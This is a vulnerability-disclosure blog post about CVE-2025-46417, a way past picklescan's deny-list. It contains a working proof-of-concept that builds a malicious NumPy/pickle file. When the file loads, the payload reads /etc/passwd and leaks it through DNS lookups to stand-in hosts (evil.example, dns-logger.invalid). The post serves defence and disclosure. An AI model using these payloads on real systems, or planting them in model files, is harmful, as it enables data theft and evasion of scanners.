Play AppSec WarGames
Want to skill-up in secure coding and AppSec? Try SecDim Wargames to learn how to find, hack and fix security vulnerabilities inspired by real-world incidents.
In April 2025, we disclosed a high risk vulnerability in picklescan. The vulnerability, tracked as CVE-2025-46417. It allows attackers to exfiltrate sensitive information via DNS at model load time.
Over the past year we’ve seen a steady stream of incidents where public model files shipped embedded malware:
Machine-learning model hubs are becoming the new npm registry—except the payloads are binary blobs nobody inspects in a text editor.
To counter this, Hugging Face applies multiple layers of static scanning to detect malicious code execution in model artefacts. For example:
Even with these controls, bypasses continue to surface. The next section explains how one of these defences works, and where its blind spots are.
Picklescan performs a static disassembly of the pickle stream using pickletools.genops(). As it walks the stream it records opcodes that reference external Python objects:
GLOBAL --> module.name
STACK_GLOBAL --> two previous stack items form module & attr
INST (proto-0) --> legacy GLOBAL alias
Anything resolving to a module or function on its deny-list (os, subprocess, eval, etc.) is flagged as dangerous; objects not on the list are treated as safe.
This provides quick, execution-free scanning and easy CI integration. However, there are clear limitations.
Blacklists tend to focus on classic shells and primitives (e.g. os.system) and miss other attack surfaces such as data-exfiltration paths. Some benign-looking modules in the standard library can be repurposed for covert I/O:
linecache.getline can be abused to read arbitrary files.ssl.get_server_certificate(host) triggers a DNS lookup prior to the TLS handshake.By chaining these, we can read a file such as /etc/passwd via linecache.getline and use ssl.get_server_certificate(host) to send the data to an attacker-controlled domain:
class DNSLog:
def __reduce__(self):
import linecache, ssl
s = linecache.getline("/etc/passwd", 1).strip()
host = f"{s.replace(':','_')}.evil.example"
return ssl.get_server_certificate, ((host, 443),)
The leaked content appears in DNS logs. Scanning this payload with Picklescan 0.0.24 returns “no issues found”, because linecache and ssl were not on the deny-list.
If you want to learn more about pickle exploitation and deserialisation in ML libraries, read our previous blog post and try our Malicious Model.ml lab.
Before running the PoC, change the FQDN (fully qualified domain name) to a domain you control.
# CVE-2025-46417 PoC
import numpy as np
def create_malicious_model():
class DNSLogPayload:
def __reduce__(self):
# 1) Read a line from /etc/passwd
linecache = __import__("linecache")
first_line = linecache.getline("/etc/passwd", 1).strip()
# 2) Sanitise and embed as a DNS subdomain
subdomain = first_line.replace(":", "_").replace("/", "_")
fqdn = f"{subdomain}.dns-logger.invalid"
# 3) Trigger DNS resolution via ssl.get_server_certificate
ssl_mod = __import__("ssl")
return (getattr(ssl_mod, "get_server_certificate"), ((fqdn, 443),))
# Wrap the payload in a NumPy object array
arr = np.array([DNSLogPayload()], dtype=object)
# Save to .npy file
np.save("dnslog_trigger_payload.npy", arr, allow_pickle=True)
def load_model(model):
try:
return np.load(model, encoding="latin1", fix_imports=True, allow_pickle=1)
except Exception:
raise ValueError("Invalid file")
if __name__ == "__main__":
create_malicious_model()
model = "dnslog_trigger_payload.npy"
print("[i] Loading and executing the model")
data = load_model(model)
Static scanning is necessary but not sufficient. CVE-2025-46417 shows how seemingly harmless libraries can be chained for DNS-based data leaks during model load. Keep scanners up to date, isolate execution, and assume untrusted models can execute code.
Want to practise finding, hacking and fixing this chain? Jump into our hands-on AI secure coding lab: Malicious Model.ml.
Want to skill-up in secure coding and AppSec? Try SecDim Wargames to learn how to find, hack and fix security vulnerabilities inspired by real-world incidents.
Join our secure coding and AppSec community. A discussion board to share and discuss all aspects of secure programming, AppSec, DevSecOps, fuzzing, cloudsec, AIsec code review, and more.
Read more